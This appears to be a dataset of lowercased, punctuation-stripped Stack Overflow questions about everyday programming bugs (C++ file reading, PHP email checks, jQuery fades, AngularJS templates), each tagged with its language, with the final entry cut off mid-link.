c++ fstream & classes  okay so when i started using classes to make functions  it gives me an error file is invalid  normally doesn t if i don t use classes. if you run it  enter in some info  and then run it again  normally it should read in the data correctly  it still reads it in  but it says there s an error. i don t really know what i m doing wrong  any tips  thanks!   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;cstring&gt; #include &lt;cctype&gt; using namespace std;  const int temp_size = 10; const int name_size = 100; const int breed_size = 100; const int desc_size = 250; const int reason_size = 250; const int id_size = 50;  //creating the struct struct animal {     char name[name_size];     char id[id_size];     char breed[breed_size];     float age;     float weight;     char desc[desc_size];     char reason[reason_size];     int day;     int month;     int year;     float length; };  struct adopted {     char hostname[100];     char hostaddress[100];     int numpets; };  class petadoption {     public:         petadoption();         //~petadoption();         void enroll(animal newanimal[]);         void read(animal newanimal[]);     private:         int count;         int numpets;         int * pets; };  petadoption::petadoption() {     count = 0;     pets = null;     numpets = 0; }  void petadoption::enroll(animal newanimal[]) {             cout &lt;&lt;  please enter your pet s name:  ;             cin.get(newanimal[count].name  name_size   \n );             cin.ignore(100   \n );              cout &lt;&lt;  please enter a unique id for your pet (combinations of numbers eg: 432fd3):  ;             cin.get(newanimal[count].id  id_size   \n );             cin.ignore(100   \n );              cout &lt;&lt;  what type of breed is your pet :  ;             cin.get(newanimal[count].breed  breed_size   \n );             cin.ignore(100   \n );              cout &lt;&lt;  how old is your pet :  ;             cin &gt;&gt; newanimal[count].age;             cin.ignore(100   \n );              cout &lt;&lt;  how much does your pet weigh  (in lbs):  ;             cin &gt;&gt; newanimal[count].weight;             cin.ignore(100   \n );              cout &lt;&lt;  please describe your pet s personality!:  ;             cin.get(newanimal[count].desc  desc_size   \n );             cin.ignore(100   \n );              cout &lt;&lt;  please explain why the pet is being put up for adoption:  ;             cin.get(newanimal[count].reason  reason_size   \n );             cin.ignore(100   \n );              cout &lt;&lt;  please enter your pet s day of birth (1-31):  ;             cin &gt;&gt; newanimal[count].day;             cin.ignore(100   \n );              cout &lt;&lt;  please enter your pet s month of birth (1-12):  ;             cin &gt;&gt; newanimal[count].month;             cin.ignore(100   \n );              cout &lt;&lt;  please enter your pet s year of birth (1900-2012) :  ;             cin &gt;&gt; newanimal[count].year;             cin.ignore(100   \n );              cout &lt;&lt;  please enter the length of time your pet has spent in a shelter (in months):  ;             cin &gt;&gt; newanimal[count].length;             cin.ignore(100   \n ); /*** writes the pet id into the list of pets***/             ofstream write;             write.open( pets.txt   ios::app);             write &lt;&lt; newanimal[count].name &lt;&lt;  \n ;             write.close();  /*** writes each pet info ****/ //this opens the file / creates a file if it s not made yet //and it writes the pet s information         write.open(newanimal[count].name  ios::app);             write &lt;&lt; newanimal[count].name &lt;&lt;  \n          &lt;&lt; newanimal[count].id &lt;&lt;  \n          &lt;&lt; newanimal[count].breed &lt;&lt;  \n          &lt;&lt; newanimal[count].age &lt;&lt;  \n          &lt;&lt; newanimal[count].weight &lt;&lt;  \n          &lt;&lt; newanimal[count].desc &lt;&lt;  \n          &lt;&lt; newanimal[count].reason &lt;&lt;  \n          &lt;&lt; newanimal[count].day &lt;&lt;  \n           &lt;&lt; newanimal[count].month &lt;&lt;  \n             &lt;&lt; newanimal[count].year &lt;&lt;  \n              &lt;&lt; newanimal[count].length &lt;&lt;  \n ; //this closes the file         write.close(); }  void petadoption::read(animal newanimal[]) {     ifstream read; //open the file apps.txt     read.open( pets.txt ); //if apps.txt doesn t exist  then print out this error     if(!read)     {         cout &lt;&lt;  pets.txt doesn t exist! this is your first time!  &lt;&lt;endl;     } //else if it does exist  read in the names and store them back //into the struct member name(s)     else      { //while the document isn t empty //read in each line         while(!read.eof())         {         read.getline(newanimal[count].name  name_size   \n );         ++count;         }         count = count-1;     } //close the file     read.close();     for (int i = 0; i &lt; count; ++i)     { //open the file of the name of the app         read.open(newanimal[count].name); //if the file doesn t exist //then we probably deleted it //without removing it from the apps.txt //but it prints out an error         if( !read)         {             cout &lt;&lt;  invalid file!  &lt;&lt;endl;         } //however if the file does exist   //read in each line and store them back //into the struct members         while(!read.eof())         {             read.getline(newanimal[count].name  name_size   \n );             read.ignore(100   \n );             read.getline(newanimal[count].id  id_size   \n );             read.ignore(100   \n );             read.getline(newanimal[count].breed  breed_size   \n );             read.ignore(100   \n );             read &gt;&gt; newanimal[count].age;             read.ignore(100   \n );             read &gt;&gt; newanimal[count].weight;             read.ignore(100   \n );             read.getline(newanimal[count].desc  desc_size   \n );             read.ignore(100   \n );             read.getline(newanimal[count].reason  reason_size   \n );             read.ignore(100   \n );             read &gt;&gt; newanimal[count].day;             read &gt;&gt; newanimal[count].month;             read &gt;&gt; newanimal[count].year;             read &gt;&gt; newanimal[count].length;             read.ignore(100   \n );         } //close the file         read.close();     } }  int main() {     animal newanimal[10];     petadoption adopt;     adopt.read(newanimal);     adopt.enroll(newanimal);     } </code></pre>,c++
check to see if a email already exists in database  i want people to leave there email for a newsletter and i thought a got it working  and it looks right  but must doing something wrong as it keeps going to the else statment even if there isnt a email in the database!    here is the code:   <pre><code> public function newsstore(request $request) {      $this-&gt;validate($request  [               email  =&gt;  required|max:155                   ]);         $email = $request[ email ];        $result = db::table( newsletters )-&gt;where(  email    =   $email)-&gt;count();           if($result = 0){                $news = db::table( newsletters )-&gt;insert(                   [                       users_id  =&gt; 0                        email  =&gt; request( email )                     ]);                   session()-&gt;flash( message    thank you for your email! );                      return back();         }else{                  session()-&gt;flash( message    you have already given your email! );                    return back();       }    } </code></pre>   and here is the code on the index page:   <pre><code> @guest      &lt;form method= post  action= /sub2 &gt;        {{ csrf_field() }}     &lt;div class= input-group &gt;        &lt;input type= email  name= email  class= form-control  size= 155  placeholder= for our news letter email address  required&gt;          &lt;div class= input-group-btn &gt;         &lt;button type= submit  class= btn btn-danger &gt;subscribe&lt;/button&gt;      &lt;/div&gt;          &lt;/div&gt;  &lt;/form&gt;    @else   &lt;form method= post  action= /sub &gt;     {{ csrf_field() }}         &lt;div class= input-group &gt;            &lt;input type= email  name= email  class= form-control  size= 155  placeholder= for our news letter email address  required&gt;              &lt;div class= input-group-btn &gt;               &lt;button type= submit  class= btn btn-danger  &gt;subscribe&lt;/button&gt;                       &lt;/div&gt;              &lt;/div&gt;     &lt;/form&gt;   @endguest </code></pre>,php
double render error rails controller  so i m tyring ot create a custom method in my controller    so far it looks like this   <pre><code> def url     require  json      url = url appears here     doc = nokogiri::html(open(url))     doc.css( .ticket-price .h4 ).each do |t|       json = t.text       respond_to do |format|         format.json  { render :json =&gt; {:seatname =&gt; json}}       end     end   end </code></pre>   however when i run this i get this error   <pre><code>abstractcontroller::doublerendererror  </code></pre>   i can t see where the its being called twice  my guess however is that because its inside the each statement. what would be the best way to display the two seat names that come back in json so that it looks like this:   <pre><code> seatname :  seat1    seatname :  seat2  </code></pre>   thanks sam,ruby-on-rails
dynamic type loading in c#  i m using a protocol named ethernet industrial protocol (eip) and i use it to send and receive data from a programmable logic controller (plc).    the data is sent as hex values and in 2 byte sizes as the smallest. so when i ask for what is stored in a memory area in the plc i get a 2 byte hex value back.    currently i m using hardcoded approach for parsing the data that comes back. what i m looking at is the ability to use a config file or something instead to tell what the string of bytes should look like.    let s say i have 3 temperature readings and product type  the 3 temperatures are floating point and use 4 bytes per and the product type is an integer. if i want to change it i need to change the program..     what should i read up on to be able to change this in for instance a config file instead of rewriting the application  i want to be able to say that i have x number of instances of this type and the program should then parse it as that.     the program saves all the data it reads into a mysql database. this is a snipet of the code that parses the values as the come in from the plc.   <pre><code>krakk = (bitconverter.touint16(data  bindex)); bindex += 2; small = (bitconverter.touint16(data  bindex)); bindex += 2; medium = (bitconverter.touint16(data  bindex)); bindex += 2; large = (bitconverter.touint16(data  bindex)); bindex += 2; </code></pre>   if i use a config file i would like to say something in the lines of: name  uint  size and the program should then read that. so for instance -> krakk  uint16  2 and then the program would know that it should change that out for this: krakk = (bitconverter.touint16(data  bindex)); bindex += 2;,c#
i m having trouble figuring out the difference between these two blocks of code  alright  this is a really quick question: why does this first block of code compile  but the second one doesn t  they seem like they should be equivalent  since all that i change is the variable declaration/references.    first:   <pre><code>int memberstudents(struct studenttype x  snodeptr students  snodeptr *s) {     snodeptr p = *s;      while (p-&gt;next != null) {         if (strcmp(x.sid  p-&gt;student.sid) == 0)             return 1;          p = p-&gt;next;     }      return 0; } </code></pre>   second:   <pre><code>int memberstudents(struct studenttype x  snodeptr students  snodeptr *s) {     while (s-&gt;next != null) {         if (strcmp(x.sid  s-&gt;student.sid) == 0)             return 1;              s = s-&gt;next;     }      return 0; } </code></pre>   i want to change the snodeptr s so that it points to the proper place  but when i try the second block of code i get an error saying there is a request for member  next  in something not a struct or union.,c
how to create if statement comparing boolean and string in the same statement   how do i get two variables (boolean and string) into one if statement  all i was able to do is:   <pre><code>if (shop[i].getlot() == true) {      totalrenters += 1; } </code></pre>   then i m totally blank. how do you get the if .getstring( double ) to work together with the .getlot in the statement so it can count and display the renter s info,java
jquery fadeout image to fadein new image  currently just starting looking into jquery and i m currently playing around with some of the functions fadein()  fadeout()  toggle().     i ve created a div which holds multiple images and i ve created a simple image fadeout to new image fadein by following snooks tutorial using jquery.     my problem is  my first image fades completely out to a white screen before the new image fades in and the outcome i wanted to achieve is the first image fades out whilst the second image fades in so it looks like a smoother transition.     i ve looked through jquery docs and i thought the answer to my problem was maybe by setting queue(false) but this does not seem to work.     i ve created a fiddle (minus the pictures) i ve used and would appreciate if someone could help me.     <strong>html</strong>   <pre><code>&lt;div class= fadein &gt;   &lt;img width= 800  height= 420  src= images/wallpaper_2.jpg  /&gt;   &lt;img width= 800  height= 420  src= images/bognor2.jpg  /&gt; &lt;/div&gt; </code></pre>   <a href= https://jsfiddle.net/23p4c8v0/  rel= nofollow >jsfiddle</a>    thanks in advance and feel free to ask further questions if needed.,jquery
python: breaking a for loop in single line for loop & performance of single line vs block-code  i have the following code  i was wondering if i can convert it to single line for loop    <pre><code>for a b in mylist :      sth = calcsth(a  b)      if sth &gt; 60 :            return true  return false </code></pre>   another question is: is there any difference in the performance of single line for loop and block-code for loop,python
debugging the following function (segment fault error)  is there anything wrong with the following functions . somehow  they are creating a segment fault.   <pre><code>struct processnode* create_node() {     struct processnode* newnode =  (struct processnode*)malloc(sizeof(struct processnode));     newnode-&gt;next = null;     return newnode; }  struct processnode* append_node(struct processnode* list struct processnode* newnode ) {     struct processnode* tracker= null;     tracker = list;      if(tracker == null)     {         tracker = newnode;     }     else     {         while(tracker-&gt;next != null)         {             tracker =tracker-&gt;next;         }         tracker-&gt;next = newnode;         tracker = tracker-&gt;next;     }      tracker-&gt;next=null;     tracker = list;     return tracker; } </code></pre>   i am creating a shell in c and need to create a link list to parse the command lines from the user. in the second function  i intend to return a new list with the new appended pointer;,c
navigationbar back button disappears  i used codes below to display the uiimage on navigation bar    <pre><code>-(void)hidetopbanner:(bool)b; {     if(b)     {          [uiview animatewithduration:0.35 animations:^{           uiview *bannerview =[self.navigationcontroller.navigationbar viewwithtag:999];             [bannerview setframe:cgrectmake(-320  8  144  30)];           }];     }     else {          [uiview animatewithduration:0.35 animations:^{                uiview *bannerview =[self.navigationcontroller.navigationbar viewwithtag:999];             [bannerview setframe:cgrectmake(88   8  144  30)];            }];     } } </code></pre>   //--------------   <pre><code>uiimageview *bgimageview =  [[uiimageview alloc] initwithimage:[uiimage imagenamed:@ topbg1.png ]] ; [bgimageview setframe:cgrectmake(0  0  320  46)]; [self.navigationcontroller.navigationbar addsubview:bgimageview]; bgimageview.tag=999; [bgimageview release]; </code></pre>   i try to use   <pre><code>  uibarbuttonitem *mybarbuttonitem = [[uibarbuttonitem alloc] init];    mybarbuttonitem.title = @back ; // or whatever text you want     self.navigationitem.backbarbuttonitem = mybarbuttonitem;     [mybarbuttonitem release]; </code></pre>   display a back button  but nothing displayed    but when it navigates to another view controller. the back button on navigation bar disappear.    welcome any comment,iphone
click event only happened once  click event only works the first time and not subsequent times. i don t understand why  any help would be appreciated.   <pre><code>&lt;div class= image  id= image &gt;     &lt;img src= blah.jpg &gt;     &lt;div class= btn-edit &gt;edit&lt;/div&gt; &lt;/div&gt; </code></pre>   i ve also tried it with <code>preventdefault()</code> and <code>stoppropagation()</code> but the bug is still there. the <code>console.log</code> statement only prints once so subsequent click events are not registered.   <pre><code>$( .btn-edit ).click(function(e){     // e.preventdefault();     // e.stoppropagation();     console.log( edit clicked );     var parent = $(this).parent();     parent.hide();     parent.prev().show(); }); </code></pre>   on another part of the code  i have shown the image and edit button again  so the <code>edit</code> button is visible. i m not showing it here because it s not really relevant. you can assume the <code>edit</code> button is visible the second time but it s not clickable.,jquery
saving played movie time so that next time end user can play it form paused time   actually there is list of movies and user can play these listed movies so i just want to know that how we can save time of a played movie so that again  when user play it  it should play from paused time and not from beginning. second i just want to know that which media player is better for me for such kind of application. thanku in advance.,iphone
looking for mysql sub query  i have a mysql query doubt. i have a student table email is the column name  before inserting new student i need to make sure same email can t be inserted.how can i right insert and check in one query(using sub query).    please help me to find a solution    thanks,mysql
how to write response to file using php  i wish to write the response of hitting a given url into the href attribute of an anchor tag using php. how can i do this     here s an example of what i excpect to happen   <pre><code>mylink.com/getdoc name=documenta </code></pre>   returns a string as a response:   <pre><code>mylink.com/document2012-03-15.pdf </code></pre>   i need to write this response (using php into the href attribute as shown below:   <pre><code>&lt;a href= mylink.com/document2012-03-15.pdf &gt; open document a &lt;/a&gt; </code></pre>   (so the above will be the final source of my page.,php
convert nscfstring to nsstring with     how convert nscfstring to nsstring     i try to retrieve the phone number with:    <pre><code> nsarray *phonearray = (__bridge nsarray *)abmultivaluecopyarrayofallvalues(phoneproperty); if ([phonearray count] &gt; 0) {                     if ([phonearray count] &gt; 1) {                              phone = [nsstring stringwithformat:@ %@   [phonearray objectatindex:0]];                      }else {                         phone = [nsstring stringwithformat:@ %@   [phonearray objectatindex:0]];                     }                 } </code></pre>   when i try to display the number  i have the special characters that appear  \u0000202a :    number_phone __nscfstring * @  \ u0000202a + 33 0 00 00 00 00 \ u0000202c  0x0000000170a77c40,objective-c
comparing and counting group matches from two different strings  im having a bit of trouble with my code and im in need of suggestions.this may seem simple to you guys so im sorry for that.i need to compare the string v to string s and see how many times a combination of either aa ee ea ae matches the string v and count the results.    what i have so far is this :   <pre><code>int main (int argc  const char * argv[])  {     nsstring *s = @ aebeee ;     nsstring *v =@ ae ;     nsinteger length = v.length -1 ;     bool isgrup = false;       for ( int i= 0 ; i&lt;length; i++) {         if([s characteratindex:i] == [v characteratindex:0 ]){             isgrup = true;         }          if(isgrup ==1)         {         nslog(@  is equal );         }else{          nslog(@  is not equal );            }     }      return(0); } </code></pre>   i know i should delete the code after isgrup = true; but i only did that to test and see if the results match so far.as you see it works but this only works for one char  how do i make it go to the next one and count my results,objective-c
html gotourl issue <pre><code>function gotopage(url){ var initial =  http://www.blossompromotions.com/-p- ; var extension =  .html ; var link = document.getelementbyid( gotourl ); link.innerhtml = url   initial+url+extension :    ; link.href = initial+url+extension; } &lt;form name= something  action= # &gt; label  &lt;input type= text  name= url  value=   onkeyup= gotopage(this.value) &gt; &lt;input type= submit  value= go &gt; &lt;/form&gt; &lt;a href=   id= gotourl &gt;&lt;/a&gt; </code></pre>   i want to create a share button for whatsapp which is: a href= whatsapp://send  data-text= take a look at this awesome website: <strong><em>value of gotourl</em></strong>  data-href=  share    i can t figure out a way to do that  can anyone help me out,html
add random characters to end of file path  i have this   <pre><code>$resizeobj -&gt; saveimage( images/ .$pic  90); </code></pre>   and i want to append random characters at the end of file name in order to prevent duplicate names using somethign like this:   <pre><code>    function genrandomstring() {     $length = 10;     $characters = ’0123456789abcdefghijklmnopqrstuvwxyz’;     $string = ”;          for ($p = 0; $p &lt; $length; $p++) {         $string .= $characters[mt_rand(0  strlen($characters))];     }      return $string; } </code></pre>   whta is the best way to incorporate this into <code>$resizeobj</code>,php
how will i print the highest scorer (with it s other  struc mates ) using a function. c  beginner in c here  please bear with my question since i am having a hard time explaining it. and i m really sorry if my terms are incorrect. i hope you get it.    say that i have my struct like this:   <pre><code>struct studenttype {        char studentfname[20];        char studentlname[20];        int score;        char grade;      }s[20]; </code></pre>   and i have inputted 3 elements in to <code>s</code>. now i have compared each others score   through this:   <pre><code>void gethighestscorer(struct studenttype s[20]) {      int maximum  i;      maximum = s[0].score;      for(i=0;i&lt;3;i++)      {       if (s[i].score &gt; maximum)       {        maximum = s[i].score;                    }      }     } </code></pre>   and i have found that <code>s[2]</code> has the highest score compared to the others. how will i actually print that one on another function with its other  struc mates      i actually tried doing it on the function above like this(and it didn t work):   <pre><code>void gethighestscorer(struct studenttype s[20]) {      int maximum  i;      maximum = s[0].score;      for(i=0;i&lt;3;i++)      {       if (s[i].score &gt; maximum)       {        maximum = s[i].score;                    }      }       printf( the highest scorer is: %s  %s %d\n   s[i].studentlname s[i].studentfname                  s[i].score); } </code></pre>   my whole program is <a href= http://pastebin.com/sdjr7f42  rel= nofollow >here</a>,c
select users from one table only if not in another  we have two tables:    -- users --   <pre><code>id  name    borrower --  ------  -------- 1   peter   1 2   john    1 3   mark    1 4   david   0 </code></pre>   -- lendings --   <pre>id  from  to  amount --  ----  --  ------ 1   1     2   100 </pre>   i need to output users that peter hasn t lent any money and that are borrowers=1 (excluding peter from the results)  like this:   <pre><code>id  name    borrower --  ------  -------- 3   mark    1 </code></pre>   right now i am stuck with this query (doesn t work):   <pre><code>select *  from `users` u  left outer join `lendings` l on u.`id` = l.`from` where l.`from` is null and u.`id` != 1 and u.`borrower` = 1 </code></pre>   <em>this is a simplified example of the actual code to keep the question useful/readable for future readers.</em>    related question: <a href= https://stackoverflow.com/questions/1002728/mysql-select-emails-from-one-table-only-if-not-in-another-table >mysql: select emails from one table only if not in another table </a>,mysql
handling memory in .net  i am a beginner for .net. .net says memory deallocation is <strong>automatically handled</strong>  but i have read in many blogs that finally block is to be used for dbconnections to dispose.if it is automatically handled why there is a need for this. or <strong>.net automatically handling is only for some resources which excludes dbconnections</strong> . please clarify..,.net
check if a two different string contain two different specific words in php  my code is:   <pre><code>$key  = strtolower( trim( $_request[ key ] ) ); $cat  = strtolower( trim( $_request[ categories ] ) ); $loc  = strtolower( trim( $_request[ locations ] ) ); $ttle = strtolower( trim( $title ) ); $lloc = strtolower( trim( $exp[0] ) );  /*i am not getting any results with this*/ if( (strstr( $ttle  $key ) &amp;&amp; ( strstr($lloc $loc) ) ) {     //echo some thing } </code></pre>   how can i find some if a two different string contain two different specific words.,php
read images from a iphone album using alassetslibrary make slow  read images from a iphone album using alassetslibrary will took 30 seconds to load images of 700. is there any other version of code using  alassetslibrary  my version of code was below   <pre><code>alassetslibrary *library = [[alassetslibrary alloc] init]; [library enumerategroupswithtypes:alassetsgroupsavedphotos usingblock:^(alassetsgroup *group  bool *stop) {         nslog(@ number of assets = %ld  (long)group.numberofassets);         [group enumerateassetsusingblock:^(alasset *result  nsuinteger index  bool *stop) {             if(result == nil) {                 return;             }              alassetrepresentation *representation = [result defaultrepresentation];              br_assetsinfo *info = [[br_assetsinfo alloc] init];             info.thumbnail = [uiimage imagewithcgimage:[result thumbnail]];             info.originalimage = [uiimage imagewithcgimage:[representation fullresolutionimage]];             info.imageurlstring = [[representation url] absolutestring];             info.isselected = no;              for (br_assetsinfo *asset in self.selectedassetsarray) {                 if ([asset isequal:info]) {                     info.isselected = yes;                 }             }              [self.assetsdataarray addobject:info];              [self.photoscollectionview reloaddata];          }];     } failureblock:^(nserror *error) {         if (error.code == alassetslibraryaccessuserdeniederror) {             nslog(@ user denied access  code: %li  (long)error.code);         }else{             nslog(@ other error code: %li  (long)error.code);         }     }]; </code></pre>,ios
javascript setcookie()  the following line of code sets an event to happen only once per 24 hours  how do i make it occur every 12 or 6 hours  thanks   <pre><code>setcookie(1  24 * 60 * 60 * 1000); </code></pre>,javascript
how can i limit a html input box so that it only accepts numeric input   i have an html input box  but only numeric data is data. how can i enforce that,html
c string split and print the tokens.  i am trying to split the string and print the tokens.    <pre><code>int main() {     char line[255] =  182930101223  kla1513 ;     char val1[16];     char val2[7];      strcpy(val1  strtok(line     ));     strcpy(val2  strtok(null     ));      printf( %s|%s\n   val1  val2);      return 0; } </code></pre>   when i print i get    <pre><code>  3| kla1513 </code></pre>   instead of     182930101223| kla1513    what is the issue,c
firefox shows block lines while calling html page  <a href= https://i.stack.imgur.com/ifhe6.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ifhe6.png  alt= enter image description here ></a>i just calling a html page in browser(safari). it shows block lines like this as shown in image. may i know what problem in it.    thanks in advance.,html
google translator css style editing  i am trying to add some glowing effects to a google translator button using css code on wordpress.    but it does not work. i can t seem to get the code to work effectively on the website.    how could i go about this,css
why do i try to call two fucntions in one if statement  but it ignores the other function after the first is completed  (c++)  i ve been banging my head against the wall for hours  poring over threads and videos trying to figure something out about this code. it will not compile unless i put  int  before calling my encrypt and decrypt functions in my if statements. if i do this  however  the program terminates before it gets to the encrypt/decrypt portion and acts as if it does not exist. otherwise  it gives me such errors as  undefined reference to encrpyt(); . i ve read guides on calling functions  but it seems i can t get this to work. what am i missing    <pre><code>#include &lt;iostream&gt; #include &lt;stdio.h&gt; #include &lt;string.h&gt;  using namespace std;  int readnumber(); int encrypt(); int decrypt(); char choice;   int main() { cout &lt;&lt; endl;   cout &lt;&lt;  please select one of the following:   &lt;&lt; endl;  cout &lt;&lt;  1. encrypt a number   &lt;&lt; endl;  cout &lt;&lt;  2. decrypt a number   &lt;&lt; endl;   cout &lt;&lt; endl;  cout &lt;&lt;  enter choice:  ;  cin &gt;&gt; choice;   cout &lt;&lt; endl;   if (choice ==  1 ) {     readnumber();     encrypt(); }   else if (choice ==  2 ) {     readnumber();     decrypt(); }   else  {     cout &lt;&lt;  invalid choice. try again.   &lt;&lt; endl;     cout &lt;&lt; endl; }  }  int readnumber() { int number;  cout &lt;&lt;  enter the four digit number:  ;  cin &gt;&gt; number;   if (number &gt; 9999) {     cout &lt;&lt; endl;     cout &lt;&lt;  please input a four digit  non-negative number.   &lt;&lt; endl;     cout &lt;&lt; endl;     return readnumber(); }    cout &lt;&lt; endl;  return 0;   }  int encrypt(int number) {     int num1 num2 num3 num4;  num1 = number / 1000; num2 = number / 100 - 10*num1; num4 = number%10; num3 = (number%100 - num4) / 10;   cout &lt;&lt;  the encrypted number is:        &lt;&lt; (num4 + 7)%10      &lt;&lt; (num3 + 7)%10      &lt;&lt; (num2 + 7)%10      &lt;&lt; (num1 + 7)%10      &lt;&lt; endl;          return 0;  }  int decrypt(int number) { int num1 num2 num3 num4;  num1 = number / 1000; num2 = number / 100 - 10*num1; num4 = number%10; num3 = (number%100 - num4) / 10;   cout &lt;&lt;  the decrypted number is:        &lt;&lt; (num1 + 3)%10      &lt;&lt; (num2 + 3)%10      &lt;&lt; (num3 + 3)%10      &lt;&lt; (num4 + 3)%10      &lt;&lt; endl;          return 0;  } </code></pre>,c++
angularjs single page share the same div element  i try to implement a single page app with angularjs    there is the route code:   <pre><code>angular.module( todomvc   [ ngroute ])     .config(function ($routeprovider) {          use strict ;          $routeprovider.when( /account   {             controller:  todoctrl               templateurl:  account.html          }).when( /   {             controller:  todoctrl               templateurl:  todomvc-index.html          }).otherwise({             redirectto:  /          });     }); </code></pre>   the html of the single page is:   <pre><code>&lt;!doctype html&gt; &lt;html lang= en  data-framework= angularjs &gt;     &lt;head&gt;     &lt;link rel= stylesheet  ... &gt;     &lt;script ...&gt;&lt;/script&gt;        &lt;/head&gt;     &lt;body ng-app= todomvc &gt;         &lt;ng-view /&gt;          &lt;script type= text/ng-template  id= account.html &gt;               a html template segment(*) here                 ///////////// this is the template of the first appearance. //////////////         &lt;/script&gt;              &lt;script type= text/ng-template  id= todomvc-index.html &gt;               the same html template segment(*) here                ///////////// this is the template of the second appearance. //////////////               but both appearance share a common template segment. how to remove the duplication          &lt;/script&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   by default  the second page is show up. after a user click a button on the second page  it will trigger <code>$location.path( account );</code> and route to jump to the first page. in my case  both templates share a div block  that is  a common part is load to both templates. currently  the template segment is copy and paste to both areas as shown in above code. but the copy-paste is hard to maintain. how can i share the template segment between the two text/ng-template     thank you.,angularjs
want to implement a python code with pseudocode given  i have a pseudocode and i am required to implement a python code.  here is my pseudocode   <pre><code>find_bully_1(a):     for student in class:         if student is afraid of no one:             candidate = student      if no such candidate found:         return none      if everyone is afraid of candidate:         return candidate as bully     else:         return none </code></pre>   below is what i have done  but there are bugs and it just could not output something. i was not really familiar with python though   <pre><code>def find_bully_1(a):      n = len(a)     candidate = 0     bully = 0     a = []      for i in range(n):         count = 0         for j in range(n):             if a[i][j] == 0:                 count = count + 1         if count == n:             candidate += 1             a = [a i]      count_scare = 0      for k in [a]:         count_scare = 0         for g in range(n):             if (zip(*a))[k][g] == 1:                 count_scare += 1                 if count_scare == n-candidate:                     bully += 1      return bully   x = [[1 1 1 1]       [0 0 0 1]       [0 0 0 0]       [0 0 0 0]] </code></pre>,python
javascript created checkbox does not close off tag properly  if i create a checkbox like this  and add it to my table [td] tag :   <pre><code>var chkbx = document.createelement( input ); chkbx.type =  checkbox ;  td.appendchild(chkbx); </code></pre>   it will create    <pre><code>&lt;tr&gt;     &lt;td&gt;         &lt;input type= checkbox  value= current issue &gt;     &lt;/td&gt; &lt;/tr&gt; </code></pre>   this input tag has not been closed off propertly. this is causing problems elsewhere in my code (for example the hover doesnt work).    is there something i need to do in my javascript to get this to close off properly,javascript
simple c++ calculating days of the week  a bit stuck   so this is what i am trying to achieve    <a href= https://i.stack.imgur.com/yzv1n.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/yzv1n.png  alt= enter image description here ></a>    this is my code. i am completely stuck now  what am i missing here that s right in front of my face  i feel i have all functions in place but i dont think it s going to calculate it correctly. i have some errors in here that i can t fix to even attempt to run it. thank you for any help;-   <pre><code>#include &lt;iostream&gt; #include &lt;cmath&gt; #include &lt;string&gt;  using namespace std;  class daytype { public:     void setday(int daynum);     // set the day with the daynum as parameter     void printd(daynum);     // print the daynum     int returnday();     // return the day of the week     void dayafter();     // return next day     void daybefore();     // return previous day     void randomday(int daynum);     // function to return a day after a certain number of days       daytype(int daynum);     // constructor with parameters setting daynum according to parameters     daytype();     //default constructor      private:         int today;         int yest;         int tom;         int dayn;      };         void daytype::printd(int daynum)     {         if (daynum == 1)             cout &lt;&lt;  monday  &lt;&lt; endl;          if (daynum == 2)             cout &lt;&lt;  tuesday  &lt;&lt; endl;          if (daynum == 3)             cout &lt;&lt;  wednesday  &lt;&lt; endl;          if (daynum == 4)             cout &lt;&lt;  thursday  &lt;&lt; endl;          if (daynum == 5)             cout &lt;&lt;  friday  &lt;&lt; endl;          if (daynum == 6)             cout &lt;&lt;  saturday  &lt;&lt; endl;          if (daynum == 7)             cout &lt;&lt;  sunday  &lt;&lt; endl;      }       void daytype::setday(int daynum)     {     today = daynum;      };      int daytype::returnday()     {         return today;      };      void daytype::printd(&lt;#int daynum#&gt;);     {     cout &lt;&lt;  the current day is:   &lt;&lt; today &lt;&lt; endl;     }       void daytype::daybefore()     {         if(today == 0)             yest = 6;         else today--;     };       void daytype::dayafter()     {         if(today == 6)         tom = 0;      };      void daytype::randomday(int daynum)     {         dayn=(today+daynum);         today =(dayn%7);      };      daytype::daytype()     {         today = 0;     }       daytype::daytype(int daynum)     {     today = daynum;     }     // do i need these constructors here doing this                 int main()              {                 int dayweek;                  cout &lt;&lt;  please enter a number for the day of the week:   &lt;&lt; endl;                 cout &lt;&lt;  1 - monday  &lt;&lt; endl;                 cout &lt;&lt;  2 - tuesday  &lt;&lt; endl;                 cout &lt;&lt;  3 - wednesday  &lt;&lt; endl;                 cout &lt;&lt;  4 - thursday  &lt;&lt; endl;                 cout &lt;&lt;  5 - friday  &lt;&lt; endl;                 cout &lt;&lt;  6 - saturday  &lt;&lt; endl;                 cout &lt;&lt;  7 - sunday  &lt;&lt; endl;                  while (dayweek&lt;= 7)                      cin &gt;&gt; dayweek;                  daytype thisday;                  cout &lt;&lt;  today is:  ;                 thisday.returnday();                 thisday.printd(int daynum);                   cout &lt;&lt;  yesterday was:  ;                 thisday.daybefore();                 thisday.printd(int daynum);                   cout &lt;&lt;  tomorrow is:  ;                 thisday.dayafter();                 thisday.printd(int daynum);                  cout &lt;&lt;  type a number of days from today and it will be:  ;                 thisday.randomday(daynum);                  return 0;             };         } </code></pre>,c++
why after include an external html i get 10 $digest() iterations reached in angularjs   simply as the question said:    i do:    (current directory: <code>/app/registration</code>)    (view directory: <code>/app/registration/views/file.html</code>)    (in <code>/app/registration/index.html</code>   <pre><code>&lt;div ng-include=  views/file.html  &gt;&lt;/div&gt; </code></pre>   )    finally i get two errors in the console (in the order listed):   <ol> <li> angular.min.js:2 error: [$rootscope:infdig] 10 $digest() iterations reached. aborting! watchers fired in the last 5 iterations: [] </li> <li> angular.min.js:1 error: [$rootscope:infdig] 10 $digest() iterations reached. aborting! watchers fired in the last 5 iterations: [] </li> </ol>,angularjs
how to create a tree list in angular with ajax loading of each new layer   i m new to angular and trying to wrap my brain around how to do stuff.    i m trying to create a list that s populated on page load by an ajax call to a rest api service  and the elements of that list would fire ajax calls to that same service when clicked on that populated sub-lists below those elements  and so on to depth n.    the initial population of the list is easy: the controller makes the ajax call  gets the json object  assigns it to scope and the dom is handled with a ng-repeat directive. i m having trouble with the subsequent loading of the sub-lists.    in jquery  i would have a function tied to each appropriately classed element clicked upon via onclick which would get the required parameters  take the json output  parse it into html and append that html after the element which fired the event. this is direct dom manipulation and therefore angular heresy.    i ve already looked at <a href= https://stackoverflow.com/questions/11251756/how-do-i-make-a-ajax-nested-list-in-angularjs >this question here</a>  but i still don t quite understand how to implement something like this  the angular way .    help     edit: solved this problem by making a recursive directive. instructions from here: <a href= 